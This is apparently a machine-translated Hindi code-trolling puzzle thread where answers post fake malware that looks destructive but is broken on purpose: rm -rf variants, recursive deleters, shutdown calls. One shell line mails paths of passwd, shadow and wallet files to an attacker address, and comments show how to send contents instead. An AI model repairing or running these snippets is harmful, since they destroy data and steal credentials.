ट्रोल करना [बंद]


184

एक ट्रोल ने आपको पकड़ लिया है और आपको मैलवेयर लिखने के लिए मजबूर कर रहा है (एक प्रोग्राम के रूप में परिभाषित किया गया है जो इसे चलाने वाले कंप्यूटर को नुकसान पहुंचाता है)। ट्रोल कोड को पढ़ और समझ सकता है, लेकिन बग्स को खोलना इतना अच्छा नहीं है।

आपका लक्ष्य एक प्रोग्राम लिखना है जो:

  1. मालवेयर की तरह दिखता है; यानी, कोड को पढ़ने वाले एक शुरुआती प्रोग्रामर को यह विश्वास हो जाएगा कि कोड कंप्यूटर को चलाने वाले को नुकसान पहुंचाता है।
  2. वास्तव में कोई नुकसान नहीं है।

नोट: ट्रोल केवल कोड पढ़ता है - टिप्पणियां नहीं। इसलिए कोड स्वयं स्पष्ट और पर्याप्त होना चाहिए।

उदाहरण (मार):

rm - rf /home

यह उदाहरण ऐसा दिखता है rm -rf /homeजो सिस्टम से सभी होम फ़ोल्डर्स को हटा देता है, लेकिन वास्तव में, आरएफ से पहले की जगह के कारण, यह काम नहीं करेगा और केवल एक हानिरहित त्रुटि संदेश का कारण होगा।

यह एक स्वीकार्य समाधान है लेकिन यह बहुत अच्छा नहीं है, क्योंकि बग का पता लगाना काफी आसान है।

दूसरी ओर, एक कार्यक्रम जो जटिल और अपठनीय है, वह भी बहुत अच्छा समाधान नहीं होगा, क्योंकि यह मैलवेयर की तरह नहीं दिखेगा।

एक अच्छा समाधान पाठक को यह समझाने के लिए पर्याप्त रूप से पढ़ने योग्य होना चाहिए कि यह मैलवेयर है, लेकिन इसमें एक बग होता है जो हानिरहित का पता लगाना और प्रस्तुत करना मुश्किल है।

यह एक लोकप्रियता प्रतियोगिता है, इसलिए सबसे अधिक upvotes के साथ कोड जीतता है।


160
मुझे लगता है कि आप मुझे rm - rf /अपने खोल में चिपकाने की कोशिश कर रहे हैं ...
भूमिगत करना

19
बैश rm -rf /। जब तक यह प्रणाली बहुत पुरानी नहीं है , तब तक इसकी आवश्यकता होगी --no-preserve-root:)
user80551

10
-1 क्योंकि a) कोड-ट्रोलिंग और अधिक महत्वपूर्ण रूप से b) मैं मैलवेयर बनाने के बारे में किसी भी प्रश्न से बहुत चिंतित हूं (भले ही यह नकली है यह बहुत करीब है)।
गारेथ

13
@ गैरेथ यह वास्तव में मैलवेयर नहीं है, हालांकि (जो आमतौर पर इन दिनों डेटा को छिपाने और / या चोरी करने की कोशिश करता है), यह ज्यादातर चीजों को हटाने के लिए पूरी तरह से स्पष्ट प्रयास है, जिसे कोई भी शुरुआती प्रोग्रामर थोड़े प्रयास से लिख सकता है।
बॉब

29
rm - rf /एक वैध उदाहरण नहीं है! यह नुकसान हो सकता है यदि आपके पास rfवर्तमान निर्देशिका में एक फ़ाइल है
gnibbler

जवाबों:


140

दे घुमा के

मैं दूसरे रास्ते से चला गया हूं। आपकी हार्ड ड्राइव पर सब कुछ हटाने के बजाय, मैं इसे कबाड़ से भरने जा रहा हूं।

यह स्क्रिप्ट एक फ़ोल्डर बनाता है, फिर लगातार catसभी फाइलों को एक साथ पकड़ता है और उन्हें एक नए में डालता है, जो ls -alअच्छे माप के मूल्य में जोड़ता है (और ताकि शुरुआती फ़ाइल में कुछ है)।

#!/bin/bash/

makeSpam()
{
    string=`cat *`
    string=$string`ls -al`
    echo $string > "file"$i".spam"
}

mkdir "SpamForYou"
cd "SpamForYou"

i=1
while [ 1 ]
do
  makeSpam $i
  i=$(($i + 1))
done

के सिवाय...

/ बिन / बैश / (के बजाय / बिन / बैश) एक वैध दुभाषिया होने की संभावना नहीं है। यह मेरा एक सामान्य टाइपो है। और, चूंकि "शेबंग तकनीकी रूप से एक टिप्पणी है, ट्रोल इसे अनदेखा कर देगा"


56
+1। एक स्क्रिप्ट में पहली पंक्ति कई प्रोग्रामर (खुद सहित) के लिए एक अंधा स्थान है।
इरेल सहगल-हलेवी

44
और शेबबैंग तकनीकी रूप से एक टिप्पणी है, इसलिए ट्रोल इसे अनदेखा करेगा
ब्रायन मिंटन

14
गैर-टिप्पणी करने के लिए गाली देने के लिए +1 :) वास्तव में स्पष्ट नहीं है
मास्टरएक्स 244

37
इसे चलाने से bash whatever.shआपकी चाल
बिगड़ जाएगी

8
@ दर्खग, क्या किस्मत! मैंने इसे इस तरह बचाया evil.commandताकि ट्रोल को खोलने के लिए इसे डबल क्लिक कर सकें (मैक पर कम से कम)
जेम्स वेबस्टर

114

हास्केल

इस मैनुअल पृष्ठ की जाँच करें , removeDirectoryRecursiveअपनी सभी सामग्री के साथ एक निर्देशिका हटाता है!

import System.Directory
main = return (removeDirectoryRecursive "/")

सही कोड यह होगा main = removeDirectoryRecursive "/"
कि mainफ़ंक्शन कुछ करने की अवधारणा को वापस करने वाला है। आपके फाइलसिस्टम को पोंछने की removeDirectoryRecursive "/"एक अवधारणा देता है , लेकिन returnफ़ंक्शन (हाँ, यह एक फ़ंक्शन है), उस मान को वापस करने की एक डमी अवधारणा में अपने तर्क को लपेटता है ।
इसलिए हम आपकी ड्राइव को मिटा देने की अवधारणा को वापस लाने की अवधारणा के साथ समाप्त होते हैं। (यो डॉग आई कॉन्ड यू लाइक यू कॉन्सेप्ट्स।) हैस्केल रनटाइम कॉन्सेप्ट से लौटाए गए mainऔर लौटाए गए मूल्य को छोड़ता है, जो हमारे मामले में आपके फाइल सिस्टम को मिटा देने की अवधारणा है।


85
+1। आपके समझाने के बाद भी मैं बग को समझ नहीं पाया ...
Erel Segal-Halevi

3
जैसा कि मैं समझता हूं कि यह एक पॉइंटर गलती है (फ़ंक्शन की ओर इशारा करते हुए फ़ंक्शन के पॉइंटर को इंगित करता है)। काफी अच्छा, शुरुआती प्रोग्रामर आम तौर पर पॉइंटर्स ट्रिक के लिए आसानी से गिर जाते हैं।
19-11 को गबोरस

3
मूल रूप से, यह सी में return removeDirectoryRecursive;विरोध के समान होगा return removeDirectoryRecursive();, क्या यह सही है?
3Doubloons

4
@ user1121352 नहीं। फ़ंक्शन को ही कहा जाता है, लेकिन यह किसी फ़ाइल को हटा नहीं सकता क्योंकि यह शुद्ध है। इसके बजाय यह एक IO क्रिया देता है, जो जब से लौटाया जाता है main, निष्पादित होता है और फ़ाइल को निकालता है। स्पष्ट रूप से returnफ़ंक्शन का उपयोग करते हुए , एक IO क्रिया बनाता है जिसका उद्देश्य सिर्फ मूल्य बनाना है।
मनिीप

4
@ कथुलु returnका returnअन्य भाषाओं से कोई लेना-देना नहीं है (या एक समारोह से "वापसी" के साथ भी)। IO aअन्य भाषाओं में फ़ंक्शन के साथ न तो प्रकार के मान बहुत अधिक हैं। तो सादृश्य सुंदर हाथ से लहराता है
निकल्स बी।

103

पीएचपी

यहां एक पुनरावर्ती PHP स्क्रिप्ट है जो आपकी वेबसाइट की हर एक फ़ाइल को हटाने का प्रयास करता है। यदि वेबसाइट काफी बड़ी है तो इसे पूरा करने में थोड़ा समय लग सकता है, इसलिए धैर्य रखें ...

<html>
<body>
<p>Deleting website; please wait
<img src="data:image/gif;base64,R0lGODlhCAAIAPAAAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQEMgD/ACwAAAAACAAIAAACBoSPqcvtXQAh+QQFMgAAACwAAAAACAAIAAACBoyPqcvtXQA7" /></p>
<?php

function zapfiles($dir) {
  if (is_dir($dir)) {
    $files = scandir($dir);
    foreach ($files as $file) {
      if ($file != '.' && $file != '..') {
        if (is_dir("$dir/$file")) {
          zapfiles("$dir/$file");
        }
        else {
          try {
            @delete("$dir/$file"); // Suppress locked file errors
          }
          catch (Exception $e) {
            // Locked files can't be deleted; just carry on
          }
        }
      }
    }
  }
}

zapfiles($_SERVER['DOCUMENT_ROOT']);

?>
<p>Website deletion complete</p>

बस एक नन्हा-मुन्ना समस्या ...

PHP में कोई डिलीट () कमांड नहीं है। जैसे ही यह कमांड इनकाउंटर करेगा, यह स्क्रिप्ट फेल हो जाएगी, लेकिन कोई त्रुटि संदेश प्रदर्शित नहीं होगा क्योंकि इस कमांड को @ के साथ प्रीफ़िक्स करके त्रुटि रिपोर्टिंग को दबा दिया गया था । चमकती हुई जीआईएफ छवि यह आभास देती है कि कुछ हो रहा है, जब बिल्कुल कुछ भी नहीं हो रहा है।


31
^ जहां तक ​​मैं समझता हूं: कोई डिलीट () फंक्शन नहीं है, मैनुअल सिर्फ यह कहता है कि यह सही फंक्शन (अनलिंक) देखने वाले किसी व्यक्ति के लिए "फर्जी-एंट्री" है। इसका मतलब यह नहीं है कि PHP में किसी प्रकार का "स्वचालित" पुनर्निर्देशन है।
एरती-क्रिस इल्मा

93
@ user11153 को ट्रोल किया गया।
बशर

34
देखिए, मुझे लगा कि त्रुटियों को नजरअंदाज कर दिया जाएगा और निष्पादन जारी रहेगा क्योंकि यह PHP थी।
ज़ोइ

17
मुझे लगता है कि बेतरतीब गैर-मौजूद फ़ंक्शन का उपयोग करना एक स्पष्ट ( deleteफ़ाइलों को हटाने के लिए है? ऐसा कोई कारण नहीं है कि किसी को बेवकूफ बनाना हो)। unlⅰnkइसके बजाय कैसे (जो "i" के बजाय U + 2170 का उपयोग करता है)?
कोनराड रुडोल्फ

18
@KonradRudolph deleteफ़ाइलों को हटाने के लिए नामित एक फ़ंक्शन PHP में पूरी तरह से विश्वसनीय है। केवल एक चीज जो विश्वास करने योग्य नहीं है वह यह है कि यदि यह वास्तविक होता, तो इसे करने के 3 या 4 अन्य तरीके होते और सभी लेकिन अजीब नाम वाले व्यक्ति में गंभीर सुरक्षा दोष होते।
ब्रेंडन लॉन्ग

93

पर्ल (यूनिक्स)

सिस्टम पर सभी फ़ाइलों को हटाता है।

#! /usr/bin/perl -w
use strict;

sub killdir {
    opendir(my $dh, ".");
    my @dl = readdir($dh);
    closedir($dh);
    foreach my $de (@dl) {
        if (-d $de) {
            chdir($de);
            killdir();
            chdir("..");
            rmdir($de);
        } else {
            unlink($de);
        }
    }
}

chdir("/");
killdir();

विशेषताएं

  • यह मान्य पर्ल है। यह भी संकलन और साथ चलता है -wऔर use strict!

  • सी + + की तरह नहीं quibbles deleteunlinkवास्तव में एक फ़ाइल को हटाने का कार्य है, rmdirवास्तव में एक निर्देशिका को हटा देता है, आदि।

  • सही ढंग से नेस्टेड निर्देशिकाओं को संभालता है, जिसके लिए सापेक्ष पथ का उपयोग करने के लिए प्रत्येक पथ में बदलकर निरपेक्ष पथनाम सिस्टम की अधिकतम लंबाई को पार कर सकता है। इसके अलावा, निर्देशिका हैंडल से बाहर नहीं चलेगा, क्योंकि यह पढ़ने से पहले निर्देशिका को पढ़ता है और बंद करता है।

स्पॉइलर

यूनिक्स पर, रूट डायरेक्टरी में पहली प्रविष्टि सामान्य रूप से है "।" इसलिए यह प्रोग्राम chdir ("।") की अनंत पुनरावृत्ति करेगा जब तक कि यह मेमोरी और क्रैश से बाहर नहीं निकलता।

आगे नोट

यह उम्मीद से ज्यादा सही था। यदि आप chdir दृष्टिकोण का उपयोग नहीं करते हैं, तो आप अंततः एक पाथनाम प्राप्त करते हैं जो बहुत लंबा है। तब -d गलत हो जाता है और अनंत पुनरावृत्ति टूट जाती है, और फाइलें वास्तव में नष्ट हो सकती हैं! यदि आप डायरेक्ट्री हैंडल को खुला रखते हैं तो ऐसा ही बग हो सकता है; अंततः आप रन आउट हो जाते हैं, ऑपेंडिर विफल हो जाता है, किलडिर रिटर्न होता है, और डिलीट होने लगता है।


45
"तो -d झूठे लौटता है और अनंत पुनरावृत्ति टूट जाता है, और फाइलें वास्तव में नष्ट हो सकती हैं!" क्या तुमने सीखा कि कठिन तरीका है?
निकल्स बी।

4
@NiklasB .: सौभाग्य से मैंने एक डमी संस्करण का परीक्षण किया :)
नैट एल्ड्रेडगे

मुझे उम्मीद थी कि इस तरह के कोड केवल खाली फ़ोल्डरों को हटा सकते हैं, लेकिन फाइलों को नहीं ...
Qwertiy

3
"यूनिक्स पर, रूट डायरेक्टरी में पहली प्रविष्टि सामान्य रूप से है"। ""। तो, एक और विंडोज-केवल मैलवेयर?
अलेक्जेंडर

1
@timmyRS: प्रोग्राम क्रैश हो जाएगा। प्रणाली ठीक चलते रहेंगे।
नैट एल्ड्रेडगे

81

शैल वन-लाइनर

इससे पीड़ित के सभी पासवर्ड, निजी कुंजी, बिटकॉइन आदि चोरी हो जाएंगे।

 find / -name "passwd" -or -name "shadow" -or -name "secring.gpg" -or -name "wallet.dat" |mail troll@nefarious.org

स्पॉइलर:

ऐसा लग सकता है कि यह उन सभी फाइलों को ट्रोल को ईमेल करता है, लेकिन वास्तव में यह सिर्फ उनके फाइलनाम को ईमेल करता है।


4
सामग्री को ईमेल करने के लिए cat, headया tailआदेशों को कहीं न कहीं शामिल करना होगा।
आजी हम्मर्थी

7
फिर भी डेटा लीक होना कोई मायने नहीं रखता। क्या ये ट्रोलिंग ट्रोलिंग है?
काइल केली

-exec cat '{}' \; | …
मार्टिन उडिंग

@queueoverflow-print0 | xargs -0 cat |
क्वांटम

1
मैंने इसे 2-3 बार कोड पढ़ने के बाद स्पॉइलर के बिना प्राप्त किया।
nyuszika7h

74

बैच / सीएमडी

सहेजें

DEL %0
DEL %1
DEL %2
DEL %3
DEL %4
DEL %5
DEL %6
DEL %7
DEL %8
DEL %9

और उन्हें कंप्यूटर पर प्रत्येक ड्राइव के मापदंडों के साथ चलाएं।

% 0 हमेशा पहला पैरामीटर है - फ़ाइल नाम। इसके बाद वास्तविक मापदंडों का सेट आता है, लेकिन यह पहले ही हटा दिया गया है इसलिए यह जारी नहीं रहेगा।


104
फ़ाइल को बंद करने और हर पंक्ति के लिए अगली पंक्ति पढ़ने के लिए इसे फिर से खोलने के बैच के मजाकिया व्यवहार पर भी निर्भर करता है ...
बॉब

8
DEL %0तब तक काम नहीं करेगा जब तक कि फाइल का विस्तार कमांड लाइन में निर्दिष्ट न हो और या तो स्क्रिप्ट अपना पूरा रास्ता दे कर चला जाए या आप उसी निर्देशिका में हों। DEL "%~f0"दोनों समस्याओं को हल करेगा और पथ के अंदर कहीं भी रिक्त स्थान के लिए लचीला होगा। इसके अलावा %10और ऊपर मौजूद नहीं है - यह %1एक शाब्दिक द्वारा पीछा करने के लिए अनुवाद करता है 0
जॉन

14
+1। यहां तक ​​कि अगर ट्रोल समझता है कि "DEL% 0" क्या करता है, तो आप उसे समझा सकते हैं कि यह केवल सबूत मिटाने के लिए है, और यह कोई नुकसान नहीं पहुंचाता क्योंकि बैच फ़ाइल तब तक मेमोरी में बनी रहती है जब तक उसका निष्पादन खत्म नहीं हो जाता (जो कि झूठी है, बॉब के रूप में कहा हुआ)।
एर्गल सेगल-हलेवी

2
एक चतुर ट्रोल अभी भी फ़ाइल के प्रारंभ में (इसके बजाय अंत में) स्वयं-विलोपन के लिए आदेश जारी करना अजीब लगेगा, जब तक कि आप इस बात को ध्यान में न रखें कि बैच-एरर-प्रोन बैच स्क्रिप्ट कैसे हैं।
एगी हैमर्थीफ़

10
@ मुझे पता नहीं था कि बैच ने ऐसा किया है ... यह भयानक है।
w4etwetewtwet

48

जावास्क्रिप्ट

infiniteLoop=true;
evilMessage='I spam you !';
while(infiniteLoop) {
  eval(atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7'));
  alert(evilMessage);
}

खैर, मूल मैलवेयर आपके कंप्यूटर को नहीं उड़ाएगा, लेकिन कष्टप्रद हो सकता है।

यह हानिरहित है क्योंकि:

evalअनंत लूप तोड़ने के लिए और संदेश को संशोधित करेगा।


40
मैं तुम्हें उभार दूंगा, लेकिन तुम्हारे पास १३३, प्रतिनिधि हैं।
scrblnrd3

5
तो कृपया नहीं! :)
माइकल एम।

@scrblnd यह D चला गया है:
Riking

11
जब तक आप इसे वापस नहीं ले लेते, तब तक खराब मतों का जवाब दें।
डेविड स्टार्की

4
बस दूसरों के लिए समझाने के लिए, atob ( 'aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7') : निम्नलिखित निष्पादित करेंगे "; (स्पैम", "लव"); "evilMessage = evilMessage.replace infiniteLoop = false"
मोहम्मद जोरेद

45

जावा

देवताओं ने मुझे आपकी मनहूस माँगों के लिए क्षमा करने, ट्रोल करने के लिए क्षमा किया।

class HomeWrecker {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec("rm -rf /home/*");
    }
}

Runtime.exec एक शेल का आह्वान नहीं करता है, इसलिए ग्लोब विस्तार कभी नहीं होता है और कमांड "*" नामक एक घरेलू निर्देशिका को हटाने का असफल प्रयास करेगा।


1
तो मेरे होम डायरेक्टरी को '*' क्या कहा जाता है? ;)
वोरैक

6
ईमानदारी से यह जावा के बेहतर उत्तरों में से एक है। यह (कई) के पतन के एक बहुत ठोस समझ की आवश्यकता है Runtime.exec()। +1।
किक्स

क्या java में c के फंक्शन के बराबर वास्तविकsystem() है?
सुपरजेडी २२४

@ SuperJedi224 नहीं, आपको यह निर्दिष्ट करना /bin/sh -cया cmd /cया मैन्युअल रूप से जो कुछ भी। समझ में आता है क्योंकि आप कभी नहीं जानते कि एक नए ओएस पर एक कमांड क्या करेगा।
कि अन्य आदमी

37

सी

चूँकि वह ऐसी टिप्पणियों को नहीं पढ़ता जो उसे करना चाहिए:

#include<stdlib.h>
int main()
{
//Are you reading this??/
 system("C:\\WINDOWS\\System32\\shutdown /s /t 0000");

 return 0;
}

सी ++ संस्करण

इसके लिए DragonLord का धन्यवाद ।

#include<cstdlib>
int main ()
{
//Are you reading this??/
system("shutdown -s -t 0000");
return 0; 
}

इसे स्टार्टअप फ़ोल्डर में जोड़ें और कंप्यूटर को पुनरारंभ करें।

यह काम किस प्रकार करता है:

?? / एक ट्रिग्राफ है और टिप्पणी में अगली पंक्ति जोड़ देगा ताकि मूल रूप से यह कुछ भी नहीं करेगा। नोट: कोशिश न करें कि यह ट्रिगर कुछ कंपाइलरों में डिफ़ॉल्ट रूप से बंद हो सकता है और इसे काम करने के लिए चालू किया जाना चाहिए।


यदि कुछ संकलक में यह काम कर सकता है, तो क्या यह वास्तविक ट्रोलिंग है?
एंटोनियो रागाग्निन

4
नहीं, लेकिन एक वास्तविक स्थिति में, मैं इस तरह के कोड के साथ ट्रोल नहीं करना पसंद करूंगा (मैं ट्रोल को नुकसान नहीं पहुंचाना चाहता!)
एंटोनियो रैगनिन

2
@AntonioRagagnin यदि यह किसी कंपाइलर पर काम करता है, तो वह कंपाइलर छोटी गाड़ी है। हालांकि, अधिकांश आधुनिक संकलक ट्रिगर के उपयोग के बारे में चेतावनी देंगे (लेकिन कोड को स्वीकार और संकलित करेंगे)।
कोनराड रुडोल्फ

8
तो अगर ट्रोल टिप्पणी पढ़ने नहीं करता है और अपने समाधान एक टिप्पणी में मैलवेयर बनाने के लिए है, कि इसका मतलब यह नहीं सभी ट्रोल देखता है एक समारोह है mainसाथ return 0?
डेविड स्टार्की

1
??/वास्तव में एक पुरानी चाल है ... मैं माफी चाहता हूँ।
इसियाह मीडोज

33

जावा

import java.io.File;
class derp
{
    public static void main( String[] a)
    {
        new File("C:\\windows\\System32\ntoskrnl.exe").delete();
    }
}

एक भागने चरित्र का उपयोग करना (ntoskrnl.exe से पहले \ n सामान्य एन के बजाय एक नई रेखा है)


20
यदि आप अन्य बैकस्लैश से नहीं बचते हैं, तो त्रुटि और भी कम संदिग्ध लग सकती है। ट्रोल सोच सकता था कि भाषा बैकस्लैश
एस्केप का

2
@ 3Doubloons कोड को उस स्थिति में संकलित करने में विफल नहीं होगा?
नील

2
@ नील: अच्छी बात है। यह नहीं होगा, लेकिन अगर ट्रोल हमें अपने पढ़ने से संतुष्ट होने के बाद जाने देता है, तो हम स्पष्ट हैं
3Doubloons

29
new File("C:\ntldr").delete();
ईगोर स्क्रीप्टुनॉफ

3
@EgorSkriptunoff मुझे यह महसूस करने में थोड़ी देर से अधिक समय लग गया कि एक्सपी एक्सडी का संस्करण नहीं है।
जस्टिन

31

दे घुमा के

#!/bin/bash
set -t 

echo "hahaha deleting files.."
rm -rf / --no-preserve-root

set -t एक कमांड को पढ़ने और निष्पादित करने के बाद बाहर निकल जाएगा। यह स्क्रिप्ट कोई आउटपुट प्रिंट नहीं करती है और सभी फाइलें सुरक्षित हैं!

या नीचे दिए गए विवरण को पढ़ने के बाद नीचे पढ़ें

#!/bin/bash -t
echo "hahaha deleting files.."
rm -rf / --no-preserve-root

लोकप्रिय मांग से .. #!/bin/bash -tएक कमांड को पढ़ने और निष्पादित करने के बाद बाहर निकल जाएगा। के तहत bash -xइसे चलाने के रूप में यह नजरअंदाज नहीं करेगा -tऔर स्क्रिप्ट में आदेशों को निष्पादित।


विफल मैं थोड़ा उलझन में हूँ ... क्या बीच का अंतर है set -tऔर exit? बैश मैन पेज कहता है कि set -t"एक कमांड" के बाद बाहर निकलता है, लेकिन यह setकमांड को उस कमांड के रूप में गिनता है और तुरंत बाहर निकल जाता है।
काइल स्ट्रैंड

6
यदि अतिरिक्त कमांड एक ही लाइन पर हैं set -t (जैसे अर्धविराम या डबल एम्परसेंड आदि द्वारा अलग) तो उन्हें निष्पादित किया जाएगा। इस मामले में पहली पंक्ति set -t; echo "hahaha deleting files.."उस पाठ की प्रतिध्वनि करेगी, फिर बाहर निकलें।
जॉजडेन

2
आह। धन्यवाद। एहसास नहीं था कि वहाँ एक व्यवहार ;और एक newline के बीच अंतर था ।
काइल स्ट्रैंड

4
#!/bin/bash -tशायद?
नील

2
@JOgden यह बहुत बुरा काम है, वही गड़गड़ाहट-पार्सिंग चाल नहीं करता है जो कि पर्ल करता है (यदि आप चलाते हैं perl foo.plऔर foo.pl से शुरू होता है #!somethingendingin/perl -flags, तो पर्ल उसके साथ ऐसा व्यवहार करेगा जैसे उसके साथ किया गया था -flags)
hobbs

30

अजगर

print "****----....____....----"""" This program will clear the browser cache "

import os
from os.path import expanduser
home = expanduser("~")
os.remove(home)

print """"----....____....----***** Cache cleaned. "                                     

तीन उद्धरण "" पायथन में एक बहुस्तरीय स्ट्रिंग शुरू करते हैं


5
गलत, वे मल्टी-लाइन स्ट्रिंग्स शुरू करते हैं docs.python.org/2/tutorial/introduct.html#strings
user80551

12
मैंने उत्तर देखने के पांच सेकंड के भीतर समस्या को सचमुच देखा, और मुझे अजगर भी नहीं पता है।
द हैट

6
अच्छा विचार, इस समस्या के साथ कि अगर ट्रोल सिंटैक्स हाइलाइटिंग का उपयोग करता है तो वह इसे देखेगा।
ओ ० '।

1
मुझे लगता है कि औसत ट्रोल इंटरनेट में एक यादृच्छिक दुर्भावनापूर्ण कोड देखता है और बस इसे दूसरे फोरम में कॉपी करता है।
एंटोनियो रागागिनिन

1
अच्छा, मैं पायथन के साथ अनुभव कर रहा हूं और मुझे दोष नहीं दिखाई दिया। 4 उद्धरणों का उपयोग करके मुझे धोखा दिया जा सकता है।
gaborous

29

डी

यह कार्यक्रम वैध है और बिना किसी त्रुटि के निष्पादित होता है। यह एक नए थ्रेड में एक डिलीटिंग फंक्शन को जन्म देता है, जो rootडायरेक्टरी को डिलीट कर देता है ।

import std.concurrency : spawn;
import std.file : rmdirRecurse;

string root;

void deleteRoot()
{
    if (root)
        rmdirRecurse(root);
}

void main()
{
    root = "/";
    spawn(&deleteRoot);
    // ... could add a waiting animation here.
}

लेकिन कुछ भी नहीं हटाया गया है ...

डी में होने के कारण, मॉड्यूल दायरे में घोषित एक चर डिफ़ॉल्ट रूप से थ्रेड-लोकल है। mainकार्यों सेट करने के लिए यह "/", लेकिन अंडे धागे एक खाली प्रतिलिपि है, तो rmdirRecurseसमारोह नहीं बुलाया जाता है।


1
अच्छा! मैं इस एक में बग को पकड़ने में कामयाब रहा, हालांकि मैं डी को नहीं जानता
एर्गल सेगल-हलेवी

1
"एक वैश्विक चर डिफ़ॉल्ट रूप से थ्रेड-लोकल है" यह कुछ हद तक विरोधाभास है
निकल्स बी।

@NiklasB। विरोधाभास क्या है?
बायोजिक

यह एक "वैश्विक चर" नहीं है। शायद "शीर्ष स्तर पर घोषित चर" एक बेहतर वर्णन है?
पाओलो एबरमैन

हाँ, संपादित! यह कम अस्पष्ट है। पूरी तरह से विरोधाभास नहीं है, हालांकि कम से कम शाब्दिक रूप से बोल रहा हूं।
बायोरिक

25

सी (यूनिक्स)

कुछ विज्ञापनों को जोड़ने से कभी किसी का नुकसान नहीं हुआ।

#include <stdlib.h>

int main()
{
    // Join the crew
    goto http;//www.trolling.com
    print("Sucker!\n");
    system("rm -rf ~");
    // Remember goto
    http://www.trolling.com
    return 0;
}

http: यह एक लेबल है, गेटो जंप इस लेबल के लिए अनुपयोगी कोड गायब है। : वी


5
मैं इसे एक जगह पाने में कामयाब रहा :)
इरेल सेगल-हलावी

17
पहले URL में अर्धविराम इस फ़ॉन्ट में स्पॉट करना काफी आसान है। लेकिन यह रचनात्मक है!
कॉम्पबुक

12
गोटो को सहायक माना जाता है
ड्रयूबेन

1
मैं इसे देखा क्योंकि गोटो के बाद कोई अर्धविराम नहीं है। यदि आपने इसे goto http;//www.trolling.com;(दोनों स्थानों में) बदल दिया है, तो मैं इसे याद कर सकता हूं।
wchargin

2
यह वैसे भी संकलित नहीं होगा, क्योंकि कोई printकार्य नहीं है।
nyuszika7h

24

जावास्क्रिप्ट

function foo(a) { // Returns an object, and all objects are truly
    return
    {
        a: a
    };
}
for(var i=0; foo(i); ++i) // loop condition is always truly
    alert('Infinite alerts!');

कोई अलर्ट नहीं दिखाया गया है। चूंकि ;लाइनों के अंत में जावास्क्रिप्ट की आवश्यकता नहीं होती है , यह returnबनने के बाद स्वचालित रूप से डाला जाता है return;। फिर undefined, जो झूठा है, उसे "ऑब्जेक्ट" के बजाय लौटा दिया जाता है (जो वास्तव में एक ब्लॉक स्टेटमेंट के रूप में पार्स किया जाता है)।


3
"सही मायने में" और "
मिथ्या

1
जेएस में इस "दोष" के रूप में +1 ने मुझे कई बार गार्ड से पकड़ा है ... इसे देखने के लिए एक दो बार फिर से पढ़ना पड़ा
मार्क ऑर्मस्टन

12
@NigelNquande सेमीकॉलन विफलता का कारण नहीं है, लाइन ब्रेक करता है। जिस रिटर्न और ऑब्जेक्ट को लौटाया जाना चाहिए, वह अलग-अलग लाइनों पर होता है, इसलिए ऑब्जेक्ट कभी वापस नहीं आता है। "ठीक" करने के लिए, लाइन ब्रेक को हटा दें ताकि यह पढ़ेंreturn {
डेव फोर्बर

3
उम्मीद है कि ट्रोल कोड को छोटा नहीं करेगा!
मोहम्मद जोरेद

2
UglifyJS कहता है WARN: Dropping side-effect-free statement [-:4,11]और लौटता है function foo(a){}for(var i=0;foo(i);++i)alert("Infinite alerts!");
nyuszika7h

22

जावास्क्रिप्ट

//Config: Warning!!! only set to true on victims box!
var deleteEverything = true;

function deleteIfEvil(){
  if(deleteEverything){
    alert('Destroy Everything!');
    //clear the flag
    var deleteEverything = false;
  } else {
    alert('Tested OK!');
  }
}

deleteIfEvil();

जो भी विनाशकारी कार्रवाई आप उपयोग करना चाहते हैं, उसके लिए विनाश चेतावनी को स्वैप करें।

स्पॉइलर:

हालांकि ऐसा लगता है कि हटाने के लिए कॉन्फ़िगरेशन सेट है ... और यह है ! फ़ंक्शन के अंदर 'var' घोषणा "Hoisted" है http://www.adequatelygood.com/JavaScript-Scoping-and-Histing.html और परिणामस्वरूप फ़ंक्शन में प्रवेश करते समय वास्तव में गलत है।


अच्छी चाल है, लेकिन आप ध्वज को क्यों रीसेट करेंगे?
मोहम्मद जोरेद

"रीसेट" केवल एक उदाहरण था ... यह कोई भी चर हो सकता है जहां असाइनमेंट मान्य है ... बस अगर 'var' के साथ उपसर्ग किया जाए तो अनपेक्षित परिणाम हो सकते हैं।
स्कुंलिफ

16

जावा

चलो कुछ महत्वपूर्ण फ़ाइलों को हटा दें!

import java.io.File;
import java.io.IOException;

public class Deleter {

    private File importantFile = null;

    public Deleter(File f) {

        importantFile = f;

        /**}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{
         * }{ I don't care how important that file is. I'm going to delete it! }{
         * }{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{*/}{

        importantFile.delete();

    }

    public static void main(String[] args) throws IOException {
        // Let's delete some important stuff
        new Deleter(new File("/boot/vmlinuz"));
        new Deleter(new File("/etc/passwd"));
        new Deleter(new File("/etc/crontab"));
        new Deleter(new File("/etc/sudoers"));
    }

}

ब्लॉक टिप्पणी में छिपा हुआ एक अतिरिक्त} {टिप्पणी के बाहर है। यह फ़ाइल विलोपन को एक अलग उदाहरण इनिशियलाइज़ेशन ब्लॉक में रखता है, जिसे कंस्ट्रक्टर से पहले निष्पादित किया जाता है। उस समय, महत्वपूर्णफाइल अभी भी अशक्त है।


16
मैं इसे एक जगह पाने में कामयाब रहा :)
इरेल सेगल-हलेवी

17
यह बहुत, बहुत स्पष्ट होगा यदि ट्रोल टिप्पणियों को नहीं पढ़ता है।
ApproachingDarknessFish

6
मैंने "ट्रोल टिप्पणियों को नहीं पढ़ता है" की व्याख्या करने के लिए चुना "ट्रोल की टिप्पणियों पर एक समान तरीके से टिप्पणी करता है यदि मानव टिप्पणी छोड़ता है।" इस मामले में, गलती से यह याद रखना आसान हो सकता है कि वे दो पात्र वास्तव में टिप्पणी से बाहर हैं।
जो के

1
यह केवल वही था जिसे मैंने स्पष्टीकरण पढ़ने से पहले हल किया था लेकिन अच्छी नौकरी!
nrubin29

15

बैश, सी, लिनक्स

शायद यह वास्तव में एक मैलवेयर नहीं है, लेकिन निश्चित रूप से एक का एक हिस्सा हो सकता है :)

